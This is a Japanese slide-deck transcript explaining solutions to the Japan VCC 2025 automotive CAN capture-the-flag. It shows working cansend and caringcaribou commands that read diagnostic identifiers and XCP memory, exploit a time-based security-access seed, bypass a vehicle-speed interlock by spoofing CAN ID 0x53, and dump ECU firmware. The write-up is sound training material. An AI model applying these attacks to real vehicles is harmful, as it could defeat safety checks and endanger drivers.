Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Japan VCC 2025 問題解説

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
Avatar for ishii ishii
October 24, 2025
150

Japan VCC 2025 問題解説

Avatar for ishii

ishii

October 24, 2025
Tweet

Transcript

  1. [D] DIDをダンプして  ReadDataByIdentifierは以下のフォーマット  [0x22] [DID 上位1バイト] [DID 下位1バイト]

     今回はDID=0x1111を読み出したいため、以下のCANメッセージを送信す る $ cansend 7e3#03221111 # => “666c61677b723361646d335f7468346e6b737d” が返る $ echo "666c61677b723361646d335f7468346e6b737d" | xxd -r -p flag{r3adm3_th4nks} 4
  2. [D] もっとDIDをダンプして  Read DIDはcaringcaribouが便利  全てのDIDを1コマンドでダンプ可能 $ caringcaribou uds

    dump_dids 0x7e3 0x7eb Identified DIDs: DID Value (hex) 0x1111 666c61677b723361646d335f7468346e6b737d => flag{r3adm3_th4nks} 0x2222 50574e4544 0x2223 f37db951 0x3333 666c61677b666f756e645f31747d => flag{found_1t} 6
  3. [B] もうひとつあります  Step1. CaringcaribouでXCPのIDを見つける  送信ID 0x632/応答ID 0x633 $

    caringcaribou xcp discovery -autoblacklist 10 … Max CTO message length: 8 bytes Max DTO message length: 8 bytes Protocol layer version: 1 Transport layer version: 1 Found XCP at arb ID 0x0632, reply at 0x0633 #################### 8 10秒間 CANメッセージ をダンプして、定期的に 流れるCAN IDをブラック リストに登録 その後XCP のIDを探索
  4. [B] もうひとつあります  Step2. cansendでXCPのコマンドを送信  Step3. UPLOADコマンドでフラグを読み取る $ cansend

    can0 632#FF00000000000000 # CONNECTコマンド セッションを開始 $ cansend can0 632#FA00000000000000 # GET IDコマンド デバイス名などを取得 $ cansend can0 632#F600000000000000 # SET_MTAコマンド メモリ転送アドレスを設定 $ cansend can0 632#F501 # UPLOADコマンド 1バイトずつデータをアップロード $ cansend can0 632#F501 # UPLOADコマンド … $ candump can0,633:7FF can0 633 [2] FF 66 can0 633 [2] FF 6C can0 633 [2] FF 61 can0 633 [2] FF 67 can0 633 [2] FF 7B … ヒント:ECU BではXCPがアクティベートされています。 フラグを読むには、まずGET IDコマンドを使用し、その後 UPLOADを使って読み出してください。 flag{p0st_sc3ne} 9 メモリアドレス: 0x0 は不正な アドレスなので、必要のない コマンドかもしれません。
  5. [B] タイミング通り  公式の診断ツールを購入し、ECU B に対する Security Access のシード 0x00001337

    で期待される答えが 0x33ba7e81 であることを突き止めまし た。 この情報は RAMN から DID 0x0001 を読み出すのに役立つでしょうか? 10
  6. [B] タイミング通り 事前調査  Read DIDしてみる  想定される流れ: Security Accessを突破して、ReadDID

    0x1でフラグを読む 7E1 [3] 22 00 01 (ReadDID 0x0001) 7E9 [3] 7F 22 33 (Security Accessが必要) 11
  7. [B] タイミング通り  Step1. Request Seed 27 01でSeedを要求する  Step2.

    Seedを観察する  Request Seedを何回か実行するとseedが増えることがわかる  おそらくECUの起動時間からSeedが生成されているのではないかと想像  再起動直後にRequest Seedをしてみる 7E1 [3] 02 27 01 7E9 [7] 06 67 01 00 00 49 F0 7E1 [3] 02 27 01 7E9 [7] 06 67 01 00 00 4A 2B $ cansend 7e1#022701 12
  8. [B] タイミング通り  Step3. RAMNを再起動する  再起動は直接USBコードを抜き差しした。  ECU Resetもあったが、Seedは初期化されず。

     ※この時に、CANメッセージをslcanで行っていると、USB抜き差し時に接続が切れ るため、CANはUSB-CANから直接やりとりした。  Step4. 再起動直後に27 01してみる  Seedが小さくなっている USB CAN 7E1 [3] 02 27 01 7E9 [7] 06 67 01 00 00 04 e8 13
  9. [B] タイミング通り  Step5. 起動後すぐにRequest Seedを大量に行う  Seed 0x00001337が得られるまでRequest Seedを行うスクリプトを作成

    1. Seed: 0x00001337が得られたら、2以下を実行。0x00001337を超えたらUSB抜き差し 2. SendKey: 27 02 33 ba 7e 81 3. Read DID: 22 00 01 を送信する ※ 0x00001337を一発で得ることはできず、5回くらい再起動を繰り返した。 おそらく1msでSeedが1増えるので結構シビア flag{temp0rary_pl4stic} 14
  10. [C] FOTA 事前調査  デフォルトセッションでRequestUploadを試みる  デフォルトセッションではサポートされていないことがわかる  拡張セッションに切り替えを試みたところ、「vehicleSpeedTooHigh」という NRCが返ってくる

    can0 7E2 [8] [FF] ln: 11 data: 35 00 44 08 00 00 - '[SRQ] RequestUpload’ can0 7E2 [8] [CF] sn: 1 data: 00 00 00 40 00 CC CC can0 7EA [4] [SF] ln: 3 data: 7F 35 7F - '[NRC] serviceNotSupportedInActiveSession’ can0 7E2 [8] [SF] ln: 2 data: 10 03 CC CC CC CC CC - '[SRQ] DiagnosticSessionControl’ can0 7EA [4] [SF] ln: 3 data: 7F 10 88 - '[NRC] vehicleSpeedTooHigh’ RequestUpload: 35 [圧縮/暗号化方式: 1byte] [アドレスとサイズ: 1byte] [メモリアドレス] [サイズ] 16
  11. [C] FOTA 試したこと  車速を遅くするために、ブレーキやアクセルを操作  すべてのCANメッセージを0に上書き  しかし、 「vehicleSpeedTooHigh」は変わらず…

     ECU Cを操作しても変化がないため、ECU C以外を止めてみる  USBシリアルから「Y0」を送信して全部のECUを止める  「yC1」を送信してECU Cだけを起動する  10 03で拡張セッションに切り替えに成功  Request Uploadが有効なセッションは 03でなく 02であった 17
  12. [C] FOTA  Request Upload / Transfer Data でファームウェア全体をダンプする 

    以下を実行するPythonスクリプトを作成し、ファイルとして出力  Request Upload : 35 00 44 08 00 00 00 00 03 FF FF  STM32L5 のファームウェアの開始アドレス: 0x08000000  STM32L5 256KB フラッシュのファームウェアのサイズ: 0x3FFFF(256KB)  Transfer Data: 36 01  ダンプしたファームウェアをGhidraで調査  文字列に”flag{}”が存在しない  ファーム全体を見ていくと右のQRがあり、 スマホ等でQRを読むとFlagが読める flag{w4rn_building} 18
  13. 余談:ダンプしたファームウェアを解析  CAN ID 0x53は大会中の取得したcandumpのログには流れていなかった  他の問題でもCAN ID 0x53を送信することはなかったため 

    おそらく、ECU Bなどが起動直後にだけCAN ID 0x53を送信していたのではないか  実際にCAN ID 0x53でSession Controlの処理が変わるのか試してみた 20
  14. 余談:ダンプしたファームウェアを解析  CAN ID 0x53に0x1111 (0x1000以上) を送信 $ cansend can0

    053#1111 $ cansend can0 7e2#1003 can0 7EA [4] [SF] ln: 3 data: 7F 10 88 - '...' - [NRC] vehicleSpeedTooHigh ダンプしたファームウェアを自前のRAMN に書き込んで、デバッガでメモリを読んだ CAN ID 0x53で変化す るメモリデータ 21
  15. 余談:ダンプしたファームウェアを解析  CAN ID 0x53に0x0111 (0x1000未満)を送信  セッション切り替えに成功! $ cansend

    can0 053#0111 $ cansend can0 7e2#1003 can0 7EA [3] [SF] ln: 2 data: 50 03 - 'P.' - [PSR] DiagnosticSessionControl CAN ID 0x53で変化す るメモリデータ 22